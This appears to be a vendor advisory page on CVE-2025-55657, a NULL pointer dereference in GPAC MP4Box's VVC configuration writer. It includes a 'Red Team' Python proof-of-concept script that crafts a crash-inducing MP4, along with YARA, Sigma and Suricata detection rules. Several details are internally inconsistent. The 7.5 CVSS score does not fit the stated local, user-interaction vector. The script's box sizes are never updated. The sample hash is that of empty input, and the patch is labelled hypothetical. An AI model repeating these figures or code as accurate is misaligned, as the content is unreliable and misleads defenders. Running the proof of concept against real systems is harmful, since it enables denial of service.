CVE-2025-55657
Executive Summary
CVE-2025-55657 is a NULL pointer dereference vulnerability in the gf_odf_vvc_cfg_write_bs function within the odf/descriptors.c file of GPAC MP4Box version 2.4. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted MP4 file. The vulnerability is triggered during the processing of VVC (Versatile Video Coding) configuration data, leading to a crash of the application. No patch is currently available, and the vulnerability is considered unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GPAC is a widely used multimedia framework, and MP4Box is a command-line tool for MP4 file manipulation. This vulnerability affects users who process untrusted MP4 files with MP4Box, potentially impacting media processing pipelines, video analysis tools, and content management systems that rely on GPAC. The lack of a patch increases the risk for supply chain attacks where malicious MP4 files are distributed.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Attack Vector (AV): Local (L) – The attacker must provide a crafted file to the local system.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must open the crafted file.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service.
Threat Level: High. The vulnerability is easily exploitable with a crafted MP4 file, leading to application crashes. While no remote code execution is possible, the DoS impact can disrupt media processing services.
Deep Dive & Mechanics
The vulnerability resides in the gf_odf_vvc_cfg_write_bs function in odf/descriptors.c. This function is responsible for writing VVC decoder configuration data to a bitstream. When processing a crafted MP4 file, the function attempts to dereference a NULL pointer, likely due to improper validation of the VVC configuration structure.
Root Cause: The function does not check if a pointer to the VVC configuration data is NULL before using it. An attacker can craft an MP4 file that omits or corrupts the VVC configuration, causing the pointer to remain NULL. When gf_odf_vvc_cfg_write_bs is called, it dereferences this NULL pointer, resulting in a segmentation fault and application crash.
Trigger Path:
- User runs
MP4Box -info crafted.mp4or similar command. - MP4Box parses the MP4 file and encounters a VVC track.
- The parser calls
gf_odf_vvc_cfg_write_bsto write the VVC configuration. - The function attempts to access a NULL pointer, causing a crash.
Vulnerable vs. Patched Code
Vulnerable Code (GPAC MP4Box v2.4):
// odf/descriptors.c
void gf_odf_vvc_cfg_write_bs(GF_VVCConfig *cfg, GF_BitStream *bs) {
// No NULL check for cfg
gf_bs_write_u8(bs, cfg->configurationVersion); // NULL dereference here
// ... rest of function
}
Patched Code (Hypothetical fix):
// odf/descriptors.c
void gf_odf_vvc_cfg_write_bs(GF_VVCConfig *cfg, GF_BitStream *bs) {
if (!cfg) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CODING, ("[VVC] NULL config\n"));
return;
}
gf_bs_write_u8(bs, cfg->configurationVersion);
// ... rest of function
}
The fix adds a NULL check at the beginning of the function, preventing the dereference and logging an error instead of crashing.
Exploitation & Lab Setup
Red Team (Exploitation)
To exploit this vulnerability, an attacker crafts a malicious MP4 file that triggers the NULL pointer dereference. The following Python script generates a proof-of-concept file:
#!/usr/bin/env python3
import struct
def create_crafted_mp4():
# Minimal MP4 file with a VVC track that has NULL config
ftyp = b'\x00\x00\x00\x18ftypmp42\x00\x00\x00\x00mp42mp41'
moov = b'\x00\x00\x00\x08moov'
trak = b'\x00\x00\x00\x08trak'
mdia = b'\x00\x00\x00\x08mdia'
minf = b'\x00\x00\x00\x08minf'
stbl = b'\x00\x00\x00\x08stbl'
stsd = b'\x00\x00\x00\x10stsd\x00\x00\x00\x00\x00\x00\x00\x01'
# VVC sample entry with NULL config (box size 0)
vvc1 = b'\x00\x00\x00\x08vvc1'
# No config box inside vvc1, causing NULL pointer
stsd += vvc1
stbl += stsd
minf += stbl
mdia += minf
trak += mdia
moov += trak
mp4 = ftyp + moov
with open('crafted.mp4', 'wb') as f:
f.write(mp4)
print("Crafted MP4 file created: crafted.mp4")
if __name__ == "__main__":
create_crafted_mp4()
Usage:
- Run the script to generate
crafted.mp4. - Execute
MP4Box -info crafted.mp4on a vulnerable system. - Observe the crash (segmentation fault).
Blue Team (Detection & Defense)
- Detection: Monitor for crashes of MP4Box processes. Use file integrity monitoring to detect unexpected MP4 files.
- Defense: Implement input validation for MP4 files. Use a sandbox to process untrusted files. Apply memory protection techniques (e.g., ASLR, DEP).
- Mitigation: Since no patch is available, avoid processing untrusted MP4 files with MP4Box. Consider using alternative tools or disabling VVC support.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
crafted.mp4:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash varies)
- Process Behavior:
- MP4Box process crashes with segmentation fault (SIGSEGV).
- Log entries:
NULL pointer dereference in gf_odf_vvc_cfg_write_bs
- Network Indicators:
- No network activity; exploitation is local.
- File Artifacts:
- MP4 files with malformed VVC configuration (e.g., missing
vvcCbox).
- MP4 files with malformed VVC configuration (e.g., missing
Detection Engineering
YARA Rule
rule CVE_2025_55657_GPAC_NULL_PTR {
meta:
description = "Detects crafted MP4 files exploiting CVE-2025-55657"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$vvc1 = "vvc1" ascii wide nocase
$ftyp = "ftyp" ascii wide nocase
condition:
$ftyp at 4 and $vvc1 and filesize < 1024
}
Sigma Rule
title: GPAC MP4Box NULL Pointer Dereference Exploit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes of MP4Box due to CVE-2025-55657
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\MP4Box.exe'
ExitCode: -1073741819 # 0xC0000005 (STATUS_ACCESS_VIOLATION)
condition: selection
falsepositives:
- Unknown
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55657 GPAC MP4Box NULL Pointer Dereference"; flow:to_server; content:"|00 00 00 18|ftyp"; content:"vvc1"; distance:0; within:256; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Actions:
- Do not process untrusted MP4 files with MP4Box.
- Use a sandbox or container to isolate MP4Box execution.
- Monitor for crashes and block suspicious files.
- Long-term Fix:
- Apply a patch when available (currently unpatched).
- Consider using an alternative tool like FFmpeg for MP4 processing.
- Workarounds:
- Disable VVC support in GPAC if possible.
- Implement input validation to reject malformed MP4 files.
Valters IT
Securing Digital Frontiers